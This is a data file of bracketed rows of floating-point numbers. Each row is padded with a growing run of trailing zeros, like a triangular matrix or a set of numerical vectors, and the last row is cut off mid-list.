[0.34373, -0.41606, -0.28211, 0.10002, 0.24288, -0.16169, -0.32834, -0.00431, 0.14389, 0.20901, -0.20217, -0.23232, 0.23263, 0.38918, -0.0077, 0.02135, -0.03482, -0.26543, -0.10229, 0.42209, 0.16999, -0.40277, -0.21425, 0.18443, -0.05042, -0.28883, 0.01112, 0.43333, -0.09776, -0.38918, -0.23883, 0.09218, 0.04947, 0.05881, 0.10447, 0.12964, -0.04678, -0.19069, -0.03218, 0.33903, 0.19604, 0.10484, -0.0209, -0.17758, -0.3007, -0.08286, 0.24649, 0.26749, 0.32046, 0.05244, -0.12992, 0.04342, 0.04454, 0.17164, 0.1056, -0.05422, 0.05571, -0.12968, -0.30605, -0.06015, 0.13165, 0.03107, 0.00655, -0.14731, -0.02519, 0.02677, -0.14721, -0.25144, -0.01108, 0.18899, 0.11105, -0.02777, -0.19458, -0.21445, -0.16806, 0.05781, 0.04661, -0.10164, -0.03856, -0.0701, -0.2261, -0.23926, -0.02301, -0.16538, -0.10449, -0.01498, 0.06976, -0.02713, -0.04629, -0.04242, -0.07574, 0.14082, -0.20936, -0.02425, -0.09038, -0.05624, 0.20736, 0.11151, 0.24388, -0.02404, 0.04048, -0.19178, -0.3034, 0.06042, 0.25488, 0.16002, 0.13126, 0.00542, 0.08157, -0.00195, 0.11819, -0.25846, -0.34885, -0.06461, -0.00344, 0.30667, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.12255, -0.1387, 0.42668, -0.25609, -0.33589, 0.07836, 0.24253, 0.04669, -0.16115, -0.21924, 0.1892, 0.28849, 0.0456, -0.39061, -0.11573, 0.17148, 0.05151, 0.22275, 0.21671, -0.24983, -0.49809, 0.19103, 0.15744, -0.08543, -0.0376, 0.27587, 0.12167, -0.19788, -0.00534, 0.39222, 0.17387, -0.07208, 0.00568, 0.12511, 0.14735, -0.09565, -0.02548, 0.00983, 0.17388, -0.06781, -0.16633, -0.12749, 0.08004, 0.07679, 0.22391, 0.08, -0.0624, -0.23287, -0.24629, -0.17063, 0.08772, 0.12423, -0.15925, -0.15709, -0.06393, -0.04211, -0.01076, 0.06715, 0.20701, 0.14907, -0.24794, -0.14445, -0.11524, 0.09573, 0.01792, 0.0821, 0.00962, 0.27422, 0.17681, 0.03985, 0.07797, -0.15071, -0.05448, 0.17904, 0.03055, 0.04965, 0.05256, 0.3595, 0.25643, 0.02864, 0.03151, 0.05215, -0.05906, 0.02118, 0.04984, 0.0598, -0.0999, -0.05416, 0.01497, 0.08952, 0.09672, -0.08595, 0.04635, -0.06126, 0.14543, 0.17705, 0.06905, 0.21388, -0.18108, 0.10713, -0.01346, 0.0913, 0.10635, -0.01754, 0.12418, 0.06183, 0.12782, 0.27458, 0.05759, 0.19948, 0.02925, 0.03633, -0.12126, 0.10792, -0.11152, -0.21331, 0.06463, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.38534, -0.42526, -0.35708, 0.12195, 0.41956, -0.03275, -0.25482, -0.09776, 0.06838, 0.24614, -0.13636, -0.36835, -0.16714, 0.28987, 0.09639, -0.02505, -0.11074, -0.1916, -0.18224, 0.05509, 0.52027, 0.08927, -0.1498, -0.12362, 0.10773, -0.01611, -0.22849, -0.0007, 0.19034, -0.17661, -0.13149, 0.0178, -0.01256, -0.12111, -0.05631, 0.09205, 0.10071, -0.09629, -0.34042, -0.09567, 0.1931, 0.0933, -0.15155, -0.06316, -0.13369, -0.34957, -0.13654, -0.01837, 0.14166, 0.28995, -0.04445, 0.00344, 0.06838, 0.04136, 0.04833, 0.10846, -0.06914, 0.05103, -0.18693, -0.29006, 0.00812, 0.12676, 0.11537, -0.0735, -0.13214, 0.13127, 0.04785, -0.10702, -0.23399, 0.01611, -0.07206, 0.02242, -0.07425, 0.06385, -0.13894, 0.03879, -0.08918, -0.15574, -0.08655, 0.0249, 0.15941, 0.10689, -0.0939, -0.16729, -0.29161, -0.09414, 0.0736, 0.14978, 0.01594, -0.0469, -0.13821, -0.013, 0.01525, -0.08837, 0.13101, 0.12234, -0.06402, -0.03142, 0.32843, -0.09557, 0.05842, -0.08862, -0.08796, 0.04156, 0.14086, 0.07485, 0.15386, -0.03519, 0.13828, 0.14118, -0.02122, 0.17455, -0.03408, -0.18444, 0.1272, -0.03849, 0.04786, -0.04061, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.30577, -0.0905, 0.35558, -0.13136, -0.41154, -0.02994, 0.32314, 0.01745, -0.03229, -0.09515, 0.07825, 0.24929, 0.0299, -0.28128, -0.16231, 0.02607, 0.08872, 0.19749, 0.259, -0.0036, -0.43292, -0.25816, 0.15254, 0.20865, -0.10907, -0.10348, 0.12953, 0.00105, -0.24324, 0.10682, 0.23839, 0.1051, -0.07216, 0.05359, -0.04853, 0.01046, -0.04962, 0.16634, 0.2147, 0.00933, -0.12075, 0.02219, 0.15724, 0.13609, 0.12862, 0.19604, 0.21307, -0.01385, -0.25611, -0.29093, -0.13713, -0.02392, -0.05607, -0.07969, -0.08373, -0.05021, -0.158, -0.07839, -0.02556, 0.27209, -0.00108, -0.12668, -0.08673, -0.05807, 0.06527, -0.01381, -0.07323, -0.01515, 0.26516, 0.17788, 0.20516, 0.09526, 0.15321, -0.09008, 0.07925, -0.05447, 0.04903, 0.17326, 0.23166, 0.1912, 0.06905, -0.07521, -0.06825, -0.03459, 0.13028, 0.19652, -0.21031, -0.11407, 0.10785, 0.08269, 0.03197, -0.07266, -0.24803, 0.06944, -0.0503, 0.0355, 0.10827, 0.18622, 0.19951, 0.09409, -0.16196, -0.06879, -0.00966, -0.1092, -0.01044, 0.12531, 0.09838, 0.17464, -0.04489, 0.04981, 0.14998, 0.01367, -0.02754, -0.13944, -0.10862, 0.05625, 0.01821, -0.06721, -0.16257, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.4434, -0.23889, -0.42518, -0.06963, 0.43429, 0.02112, -0.20707, -0.07165, 0.06933, 0.11495, 0.06293, -0.10066, -0.10303, 0.17107, 0.05445, 0.06285, -0.02732, -0.13471, -0.20418, -0.0582, 0.16933, 0.22012, -0.0965, -0.02112, -0.08227, 0.02926, 0.0003, 0.0588, 0.11442, -0.09265, -0.07394, -0.08636, 0.10157, -0.00533, 0.05559, 0.01794, 0.0127, -0.00364, -0.08983, -0.02305, 0.04499, -0.01665, -0.05456, -0.20011, -0.07456, -0.13789, -0.30292, -0.14956, 0.18679, 0.19127, 0.22963, -0.00169, 0.08562, 0.19727, 0.03182, 0.01933, 0.04124, -0.08579, -0.08747, -0.19301, -0.23521, 0.11028, 0.11465, 0.06631, -0.21803, -0.16188, -0.03847, 0.19524, -0.15817, -0.08856, -0.07339, -0.12943, -0.27076, -0.09095, -0.19104, 0.15668, 0.25253, -0.00323, -0.16367, -0.0566, -0.06124, 0.14476, 0.00889, -0.01988, -0.20329, -0.2404, -0.06637, 0.04045, 0.05722, 0.08349, 0.07469, -0.06318, 0.06163, -0.13625, -0.08056, 0.03873, 0.15772, -0.00167, 0.03741, 0.11369, 0.16996, 0.0544, -0.22323, 0.04005, 0.06839, 0.03101, 0.07591, -0.13956, -0.02184, 0.08056, 0.01945, 0.10816, 0.00869, -0.00069, -0.18104, 0.05697, 0.06548, 0.18478, 0.08697, -0.00224, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.34367, -0.21692, 0.41061, 0.01091, -0.41282, -0.21717, 0.20053, 0.12425, -0.13078, -0.03869, 0.04085, 0.26388, 0.18692, -0.23477, -0.1859, -0.08401, 0.00327, 0.09183, 0.20968, 0.14619, -0.08355, -0.19808, -0.08313, 0.10658, 0.14119, -0.01077, -0.08736, -0.07514, 0.04013, -0.03391, 0.06299, 0.06771, -0.0164, 0.0555, 0.02092, -0.09915, -0.16462, -0.15482, 0.1619, 0.07357, -0.12532, -0.0479, 0.12597, 0.252, 0.12008, 0.06829, 0.24173, 0.13962, -0.09261, -0.20721, -0.22436, -0.08037, -0.08425, -0.12495, -0.11328, 0.04444, 0.11427, 0.06914, 0.00947, 0.10877, 0.22509, 0.01759, -0.10762, 0.11067, 0.1002, 0.09057, 0.05928, -0.13862, -0.02847, 0.12053, 0.0319, -0.01396, -0.06251, 0.15518, 0.04151, -0.06827, -0.3447, -0.05653, 0.0903, 0.11039, 0.2494, 0.10173, 0.12524, 0.11427, -0.00591, 0.00484, -0.09281, -0.20239, -0.36484, 0.03657, 0.04659, 0.13486, -0.10281, -0.07263, -0.01622, -0.07529, -0.00157, 0.06444, 0.04521, 0.1518, 0.09262, -0.05389, -0.03134, -0.14522, 0.0714, -0.13968, -0.04604, 0.10385, 0.23684, 0.0228, -0.17108, -0.02582, 0.1201, -0.2502, 0.04153, -0.03085, 0.04086, 0.1942, 0.10558, 0.22579, 0.03473, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.36835, -0.06923, -0.3936, -0.24191, 0.40853, 0.15658, -0.26426, -0.10093, 0.12266, 0.03975, 0.03374, -0.19117, -0.23911, 0.03123, 0.24685, 0.08987, 0.05459, 0.01593, -0.19949, -0.25644, 0.01858, 0.1666, 0.02608, -0.04045, -0.0713, -0.05406, -0.04044, 0.13424, 0.05168, 0.02731, -0.0516, -0.01072, -0.09469, -0.08453, -0.01253, 0.12963, 0.10264, 0.11817, -0.02402, -0.07283, 0.08926, 0.06861, -0.17107, -0.20681, -0.12065, 0.10353, -0.16226, -0.29448, -0.09648, 0.14336, 0.20343, 0.201, 0.03989, 0.14159, 0.13294, 0.10772, -0.03567, -0.0419, -0.03404, -0.09948, -0.27958, -0.13088, -0.06783, 0.02281, 0.04239, -0.0916, -0.12259, -0.05132, -0.06495, -0.07946, -0.06717, 0.02322, 0.09601, -0.09291, -0.05314, -0.1557, 0.03922, 0.211, -0.09242, -0.22767, -0.12995, 0.02337, 0.0786, -0.10417, -0.10285, -0.02126, -0.02094, -0.0578, 0.02359, 0.06495, -0.04231, 0.02283, 0.08835, 0.20032, 0.11483, 0.05188, -0.07833, 0.11727, 0.072, -0.05654, 0.08375, -0.04791, 0.0118, 0.04098, 0.02405, 0.22237, 0.08381, -0.12105, -0.03795, 0.03984, 0.13, 0.12953, -0.08908, -0.02732, -0.03052, -0.12805, -0.1408, 0.1374, 0.09678, -0.08922, 0.1293, -0.01842, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.28392, -0.40448, 0.39145, 0.15842, -0.293, -0.29314, 0.16358, 0.08327, -0.15076, -0.11458, -0.08195, 0.20138, 0.18903, 0.08358, -0.14013, -0.00656, -0.15755, 0.0273, 0.20849, 0.21381, 0.02196, -0.14908, -0.12785, -0.07943, 0.10085, 0.0647, 0.07982, -0.21238, -0.13012, 0.15064, 0.09127, 0.02613, 0.04283, 0.16851, 0.11368, -0.09954, -0.07614, -0.14485, -0.05387, 0.10967, 0.00422, -0.10889, 0.06895, 0.12121, 0.11097, -0.14741, 0.05509, 0.26231, 0.14499, -0.11666, -0.09646, -0.1722, -0.02951, -0.05164, -0.13067, -0.12492, -0.02928, 0.11942, -0.00397, 0.07063, 0.19097, 0.26582, 0.05726, -0.06205, -0.0022, 0.08213, 0.06454, 0.13876, 0.03715, 0.08801, 0.04129, -0.02736, -0.17041, -0.09567, -0.10348, 0.021, 0.01577, -0.13783, -0.05068, 0.00188, 0.01026, 0.09644, -0.04926, 0.09242, 0.00429, 0.09939, 0.01919, -0.1522, -0.06546, -0.1971, -0.10585, -0.00875, -0.06703, -0.20959, -0.12775, -0.09434, -0.00785, -0.05481, -0.16655, 0.00802, 0.05648, 0.18968, -0.00082, -0.03605, -0.14129, -0.17238, -0.00315, -0.09285, -0.03549, 0.04905, -0.03645, -0.07421, 0.00206, 0.04205, -0.05175, -0.00409, 0.04009, -0.07742, -0.03951, 0.23593, 0.00709, -0.05324, 0.1731, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.26055, 0.16911, -0.23368, -0.38002, 0.24327, 0.25858, -0.14334, -0.21831, 0.1821, 0.16971, 0.04521, 0.02748, -0.12517, -0.16421, -0.02501, 0.01765, 0.08194, 0.07854, 0.02861, -0.14087, -0.1061, 0.04156, 0.15537, 0.1395, -0.06909, -0.08392, -0.08783, 0.12104, 0.0482, -0.05013, -0.07657, -0.03707, 0.07144, -0.12221, -0.10668, 0.06809, 0.0904, 0.06969, 0.031, -0.06739, -0.01109, 0.105, 0.05331, -0.05914, -0.08723, 0.05936, 0.03872, -0.25889, -0.24157, -0.1191, -0.01722, 0.09599, 0.05428, 0.09607, 0.09737, 0.12879, 0.04353, -0.09351, -0.08798, -0.04823, -0.16165, -0.25665, -0.04965, 0.05179, -0.02991, 0.07202, 0.01385, -0.04071, 0.04957, -0.01411, -0.08804, -0.07803, -0.10236, 0.10258, -0.01194, 0.07694, -0.16119, 0.04871, 0.13166, -0.01633, -0.13489, -0.0253, 0.00712, 0.1912, -0.02696, -0.12493, -0.14513, 0.01169, -0.08591, 0.05772, -0.05311, -0.01023, 0.14054, 0.10332, 0.08034, 0.13823, -0.03616, -0.06451, 0.07971, -0.02568, 0.09477, 0.05449, 0.12421, 0.13099, 0.1823, 0.1538, 0.1331, 0.11758, 0.03352, 0.06096, 0.03951, 0.04257, 0.08476, 0.10407, 0.0128, -0.07157, -0.00837, 0.05136, 0.04329, 0.02734, -0.00972, 0.10168, 0.00018, -0.01746, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.15306, -0.50357, 0.18719, 0.34108, -0.27509, -0.3059, 0.09991, 0.21184, -0.07665, -0.14112, 0.00104, -0.03459, 0.05973, -0.00381, 0.08805, 0.09356, -0.13401, -0.21427, -0.04777, 0.13471, 0.19852, 0.0786, -0.16137, -0.13892, -0.06479, 0.14503, 0.17245, -0.00916, -0.16868, -0.03055, 0.13194, -0.03792, -0.12843, -0.01159, 0.06293, 0.06622, -0.03501, 0.00297, -0.019, -0.01108, 0.05629, -0.04362, -0.1555, 0.01116, 0.06812, -0.0801, -0.14149, 0.07892, 0.20336, 0.03607, -0.14575, -0.05831, -0.08743, -0.17587, -0.11794, -0.16249, -0.06427, -0.03585, 0.08687, 0.06668, 0.03544, 0.09333, 0.07132, 0.13047, 0.03428, -0.0621, -0.06332, 0.03826, 0.00109, 0.06071, 0.14776, 0.10844, 0.0252, -0.10851, -0.04371, -0.07646, 0.09102, 0.03375, -0.06641, 0.0153, 0.081, -0.04466, -0.01276, 0.0057, -0.05722, 0.10361, 0.15708, 0.07801, -0.0572, 0.02898, -0.03914, -0.01296, -0.20531, 0.04689, -0.071, 0.01869, 0.01697, 0.03857, -0.1249, -0.09533, -0.17895, -0.0685, -0.04099, 0.0055, 0.05137, -0.09605, 0.08121, 0.0076, 0.00677, 0.03541, -0.03683, -0.00622, -0.14234, 0.01241, 0.15407, 0.06493, 0.06101, -0.08784, -0.00474, -0.04589, 0.01768, 0.07359, -0.08465, -0.00895, 0.03847, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.156, 0.10309, 0.01874, -0.39824, 0.1219, 0.20857, -0.04092, -0.26458, -0.072, 0.20648, 0.05912, 0.00426, -0.01971, 0.01971, -0.03313, -0.09689, 0.04997, 0.17869, 0.07343, -0.06437, -0.13653, -0.15223, -0.02101, 0.12542, 0.09979, -0.09063, -0.17597, -0.03566, 0.18899, 0.06552, -0.03081, -0.01885, 0.13792, 0.14612, -0.02571, -0.07585, 0.02933, 0.05582, 0.04662, 0.04213, -0.0512, 0.02023, 0.06104, 0.01621, 0.00682, 0.09589, 0.09325, -0.08817, -0.19947, -0.05184, -0.02864, -0.01007, 0.10496, 0.04031, 0.13133, 0.09908, 0.01599, -0.01347, -0.16435, -0.03294, 0.01018, -0.05077, -0.11164, -0.09068, -0.07188, 0.04017, 0.11207, 0.05226, -0.00073, 0.0036, -0.06668, -0.00374, -0.04452, 0.01273, -0.06533, 0.12584, -0.00547, -0.01066, -0.0788, -0.01922, -0.03393, -0.01971, 0.06738, -0.0097, -0.0173, 0.0004, -0.09421, -0.07103, -0.04451, -0.09511, 0.05527, 0.02378, -0.01794, 0.05907, 0.05636, 0.06043, 0.03328, -0.10814, -0.04512, 0.00629, -0.12792, 0.01479, 0.03129, 0.11955, 0.01856, 0.08993, -0.05139, 0.00495, 0.15192, -0.04138, 0.13041, 0.03743, -0.12672, 0.07069, -0.0493, 0.13634, 0.00946, 0.12648, -0.01759, 0.03474, 0.04715, 0.02048, -0.04358, -0.09369, 0.14035, -0.01294, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.01367, -0.43926, -0.10126, 0.36208, 0.02793, -0.36912, -0.01536, 0.23942, 0.03981, -0.13628, -0.01812, 0.11353, 0.03359, -0.02639, -0.02364, 0.13133, 0.07177, -0.13175, -0.09072, 0.02276, 0.04409, 0.12048, 0.15844, 0.00376, -0.13162, -0.10531, 0.13073, 0.06577, -0.15609, -0.02777, 0.06273, 0.12956, -0.12354, -0.11506, -0.02583, -0.04912, -0.09457, -0.09929, -0.00106, -0.05776, -0.12254, 0.04546, -0.00526, -0.0704, 0.02498, -0.01497, -0.05093, -0.0094, 0.1129, 0.11184, -0.05593, -0.1876, -0.08163, -0.03659, -0.23083, -0.10694, -0.07161, -0.07606, -0.03808, 0.00255, 0.02686, -0.00915, -0.01038, 0.01926, 0.08804, -0.02759, -0.14621, -0.09638, 0.0198, 0.00403, 0.12246, 0.03957, 0.00889, -0.02221, -0.10204, -0.11708, 0.01532, 0.11708, 0.17707, 0.09522, -0.02121, 0.06892, -0.10753, 0.03742, -0.04168, 0.07062, 0.03569, 0.10429, 0.02787, 0.00515, 0.13961, 0.09317, -0.09833, -0.15305, 0.11121, 0.08891, 0.02028, 0.05198, -0.07369, -0.0166, -0.07727, -0.06706, 0.09492, -0.06381, 0.01913, 0.14062, 0.01447, 0.01732, -0.04178, 0.17051, 0.00963, 0.01516, 0.07031, -0.12055, 0.03268, -0.03558, 0.06453, -0.03577, -0.0044, 0.02269, -0.09566, 0.10996, 0.02347, -0.04844, -0.01911, -0.03032, 0.06717, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.04452, 0.1115, 0.10063, -0.30933, -0.01046, 0.24107, 0.05287, -0.15796, -0.0622, 0.07093, 0.11777, -0.06729, -0.02076, 0.00166, 0.04634, -0.14898, -0.08195, 0.18185, 0.11514, 0.04617, -0.02012, -0.03442, -0.25958, -0.1174, 0.05052, 0.09417, -0.05468, -0.02558, 0.07996, 0.05448, -0.04233, -0.11986, 0.04295, 0.10391, 0.03853, 0.08503, 0.09667, 0.05049, 0.02787, 0.06239, 0.13564, -0.05222, -0.04174, -0.02763, -0.03288, 0.05127, 0.13189, 0.0173, -0.09581, -0.09378, 0.02099, 0.13587, 0.10608, 0.08973, 0.16691, 0.14116, 0.14926, 0.10003, 0.04757, -0.14186, 0.01619, 0.11307, 0.04695, 0.04939, -0.10818, 0.01223, 0.04859, 0.14757, 0.08182, -0.02352, -0.13477, -0.11577, -0.04898, -0.03886, 0.02899, 0.06786, -0.0239, 0.04658, 0.02574, -0.102, -0.03923, -0.02596, 0.08804, -0.04347, -0.02477, -0.02837, -0.05894, 0.12125, 0.00711, 0.05256, -0.11279, 0.01646, -0.1203, 0.01667, -0.17664, -0.01619, -0.04937, 0.12165, 0.06248, -0.03181, 0.09565, 0.06571, -0.06801, 0.0516, 0.07627, -0.04548, -0.11454, -0.15526, -0.00482, -0.12823, 0.02855, 0.0277, 0.00761, -0.03844, -0.11393, -0.06682, 0.09516, 0.052, 0.08727, 0.02665, -0.01876, -0.03684, -0.03965, -0.00976, 0.00072, -0.12008, 0.10322, -0.04252, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.10575, -0.3111, -0.09468, 0.0998, 0.08265, -0.26972, -0.09529, 0.16996, 0.11943, -0.04461, -0.09162, 0.09596, 0.01904, -0.02035, -0.02854, 0.09924, 0.03474, -0.07515, -0.11009, -0.0157, 0.09364, 0.0156, 0.19995, 0.13598, 0.05921, -0.06854, -0.03998, -0.01186, -0.07684, -0.12406, 0.13635, 0.24816, 0.10409, -0.14609, -0.08866, -0.0358, -0.11244, -0.08416, -0.06099, 0.00894, -0.18532, -0.11157, 0.05719, 0.07415, -0.03713, -0.03935, -0.09734, -0.00279, 0.06025, 0.12965, 0.04837, -0.08016, -0.09956, -0.03776, -0.10322, -0.22326, -0.12849, -0.1009, -0.01982, 0.02773, -0.03256, -0.03339, -0.04064, -0.03724, 0.00866, -0.00637, -0.0983, -0.15728, -0.11176, 0.02387, 0.00569, 0.03554, 0.02911, 0.02756, -0.05108, -0.09342, -0.12215, -0.08658, -0.00098, 0.16214, 0.10946, 0.04759, 0.01516, 0.02555, 0.03963, -0.03027, -0.03969, -0.07849, 0.02848, -0.045, -0.00917, 0.1611, 0.08619, 0.00603, 0.02568, 0.05618, 0.17954, 0.02442, -0.18388, -0.07379, -0.20299, -0.05513, 0.05497, 0.03547, -0.08554, -0.08264, -0.01019, 0.02495, 0.01091, -0.05478, 0.0027, 0.10098, -0.02407, 0.10458, -0.03118, -0.00155, -0.0082, -0.08895, -0.05586, -0.01041, 0.01434, 0.00282, 0.03326, 0.07062, 0.0663, -0.03089, -0.07532, 0.00301, -0.08352, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[-0.06927, -0.05576, 0.13307, -0.27097, -0.11108, 0.13841, 0.09571, -0.17992, -0.0789, 0.01477, 0.12093, -0.028, 0.03535, 0.0245, 0.07032, -0.05279, -0.16334, 0.11639, 0.13607, 0.02497, -0.03301, 0.06381, -0.06958, -0.12316, -0.05407, -0.01396, -0.06597, 0.05218, 0.07872, 0.13878, -0.08748, -0.22077, -0.16334, 0.1624, 0.09462, 0.01017, 0.09738, 0.10026, 0.05798, -0.02568, 0.09894, 0.11393, -0.05913, -0.11704, -0.03291, 0.02476, 0.05318, 0.00611, -0.07325, -0.14964, -0.11568, -0.01294, 0.06586, 0.11115, 0.14033, 0.204, 0.15288, 0.1529, 0.09152, 0.0472, -0.02614, 0.01185, 0.05957, 0.09552, 0.0848, 0.00624, -0.03901, 0.01341, 0.07604, 0.07784, -0.01849, -0.07888, -0.09321, -0.03562, 0.02264, 0.10264, 0.06137, 0.0121, -0.01667, -0.01444, -0.07423, -0.04467, -0.02719, 0.01564, -0.15508, -0.00445, -0.13379, 0.11276, 0.06139, -0.0286, 0.03519, -0.00546, 0.07699, 0.01726, -0.13572, -0.03661, 0.01205, -0.0721, 0.00851, 0.03938, 0.09803, 0.03925, -0.05561, -0.03184, 0.0771, 0.17432, -0.04503, -0.0489, -0.10144, -0.06392, -0.05278, -0.09175, -0.00765, 0.04984, 0.073, 0.03661, -0.05411, 0.0013, 0.10538, -0.04783, -0.04385, 0.01681, 0.07674, -0.05274, -0.1365, 0.02843, 0.06511, -0.07712, -0.1129, 0.01302, 0.0, 0.0, 0.0, 0.0, 0.0, ],
[0.12632, -0.24397, -0.09868, 0.19261, 0.15406, -0.22965, -0.09002, 0.1702, 0.06075, 0.00203, -0.10703, 0.0466, 0.08702, -0.07998, -0.07045, 0.084, 0.08328, -0.05554, -0.12341, -0.03407, -0.01705, -0.0852, -0.0504, 0.15971, 0.10463, 0.06095, 0.05876, -0.02832, -0.0717, -0.12336, 0.03232, 0.21838, 0.2891, -0.01052, -0.15219, -0.05939, -0.0535, -0.11582, -0.04418, -0.00662, -0.10942, -0.14831, -0.06602, 0.02493, 0.02939, -0.0241, 0.0056, 0.0082, 0.11177, 0.12032, 0.10512, 0.12401, 0.01811, -0.14766, -0.12861, -0.13694, -0.16734, -0.16045, -0.0553, -0.03308, 0.11283, -0.00283, -0.04241, -0.06847, -0.08234, -0.09398, -0.02833, -0.09695, -0.10813, -0.13256, -0.05956, -0.04751, 0.05179, 0.05411, 0.01749, -0.045, -0.08037, 0.01982, -0.03901, -0.05922, 0.0942, 0.10691, 0.03659, -0.06049, 0.14614, 0.10853, -0.01885, -0.09043, -0.09965, 0.01176, -0.10234, -0.0271, -0.07143, 0.05966, 0.08228, 0.09831, -0.01349, 0.14225, 0.01856, -0.03417, -0.11256, -0.14124, 0.03293, 0.05397, 0.01853, -0.12502, 0.00942, -0.10199, -0.09442, 0.09663, 0.03396, 0.00738, 0.04815, -0.09346, 0.00848, 0.06578, 0.06492, -0.10839, -0.09815, 0.06563, 0.00781, 0.0799, -0.09468, -0.02936, 0.10633, 0.00125, -0.04079, 0.00423, -0.08157, -0.10868, 0.00465, 0.0, 0.0, 0.0, 0.0, ],
[-0.05228, -0.07351, 0.23729, -0.17125, -0.20272, 0.12357, 0.08332, -0.19332, -0.07326, 0.05945, 0.04664, -0.0512, -0.09061, 0.11538, 0.08474, -0.07153, -0.07137, 0.03447, 0.15939, 0.0761, 0.07512, 0.10862, 0.04001, -0.13201, -0.10793, 0.01524, -0.08567, -0.08039, 0.04798, 0.14626, 0.11253, -0.10979, -0.28047, -0.06358, 0.14617, 0.06882, -0.00378, 0.08387, 0.0857, -0.01522, 0.04143, 0.15274, 0.05889, -0.03305, -0.01875, 0.01338, -0.04143, -0.01323, -0.05196, -0.10815, -0.13244, -0.13408, -0.05858, 0.05747, 0.15438, 0.14888, 0.0934, 0.05773, 0.05332, 0.00055, -0.06566, -0.02312, 0.076, 0.10027, 0.0898, 0.07998, -0.02113, 0.07824, -0.03961, 0.07673, 0.03225, -0.05763, -0.02691, -0.16877, -0.02407, 0.05549, 0.09714, 0.11304, -0.00037, -0.03388, -0.0443, -0.05148, -0.00728, 0.03626, -0.02037, -0.03671, -0.03622, -0.00771, 0.15239, 0.11762, 0.01917, -0.04232, 0.03264, 0.11026, -0.11476, -0.08142, -0.03293, 0.00877, -0.06568, -0.03508, -0.03246, 0.25564, 0.0417, 0.02318, -0.10316, -0.06216, -0.03175, 0.01986, 0.04951, -0.10076, -0.03497, -0.11391, -0.05418, -0.01088, 0.00956, 0.05657, -0.09428, -0.01184, 0.06786, -0.11017, -0.03001, -0.07689, -0.0964, 0.08381, 0.0367, 0.02616, 0.00107, -0.00704, 0.0372, 0.00662, -0.06835, -0.07697, 0.0, 0.0, 0.0, ],
[0.10426, -0.17182, -0.21184, 0.04723, 0.18394, -0.17424, -0.09764, 0.19836, 0.11709, -0.06422, 0.00964, 0.0561, 0.08546, -0.08054, -0.10396, 0.0933, 0.10285, -0.01235, -0.16531, -0.11003, 0.02194, -0.0176, -0.11325, 0.07494, 0.05284, -0.0558, 0.05948, 0.1105, -0.08112, -0.12073, -0.10691, 0.02612, 0.21187, 0.18206, -0.06427, -0.1157, 0.00966, -0.05428, 0.0065, 0.02493, -0.08564, -0.1823, -0.07998, 0.02814, 0.01588, 0.03643, -0.00158, 0.07527, 0.08994, 0.11246, 0.00442, 0.06504, 0.11086, 0.0555, -0.12689, -0.15245, -0.12723, -0.04478, -0.10085, -0.03553, 0.02846, 0.01196, -0.09018, -0.03339, -0.02202, -0.06148, -0.05133, -0.01153, 0.01669, 0.04579, 0.00669, 0.05066, -0.0801, 0.04825, 0.07546, 0.00675, -0.06372, -0.1528, 0.01855, 0.02025, 0.01114, -0.01231, 0.0312, -0.03959, -0.07005, -0.02412, -0.03449, 0.00949, -0.15365, -0.07326, -0.07862, -0.03049, 0.04974, -0.07011, 0.04974, 0.10397, 0.08133, -0.03293, 0.07934, -0.02339, -0.08432, -0.13725, -0.02525, -0.06452, 0.00525, 0.02548, -0.05476, 0.00885, -0.08709, -0.01463, -0.03021, 0.08444, -0.01102, 0.00918, -0.05136, 0.02036, 0.04066, 0.02269, 0.03928, 0.01964, 0.04696, 0.03898, 0.12664, -0.05185, -0.08661, 0.09677, 0.15333, -0.07079, -0.09153, -0.04102, 0.11745, 0.04627, 0.08674, 0.0, 0.0, ],
[0.04529, -0.13648, 0.12971, -0.02562, -0.14631, -0.00706, 0.1896, -0.16723, -0.23593, 0.02651, 0.06291, -0.02605, -0.09287, -0.00236, 0.13601, -0.00297, -0.12909, 0.03632, 0.09849, 0.08727, -0.00128, 0.05796, 0.09146, 0.0141, -0.05084, -0.03194, -0.03044, -0.03242, -0.00292, 0.07354, 0.12778, 0.05264, -0.1116, -0.20557, -0.02037, 0.10735, -0.02524, -0.03597, 0.03331, 0.00787, 0.0818, 0.12618, 0.10153, -0.06345, -0.03388, -0.04854, 0.00064, -0.10584, -0.05626, -0.10286, 0.04117, -0.03638, -0.07434, -0.04887, 0.04191, 0.1793, 0.20527, 0.10694, 0.06714, -0.01917, 0.02468, -0.10665, 0.01951, 0.01847, 0.07359, 0.05844, -0.01407, -0.10979, -0.08425, -0.09073, -0.03391, -0.05941, -0.01956, -0.00156, -0.11683, -0.05956, -0.02695, 0.15149, 0.09435, 0.0238, -0.1043, -0.12316, -0.1008, 0.03127, 0.12469, 0.10525, 0.09001, -0.00312, 0.03726, 0.15461, 0.16625, -0.09009, -0.18048, 0.06644, 0.05328, 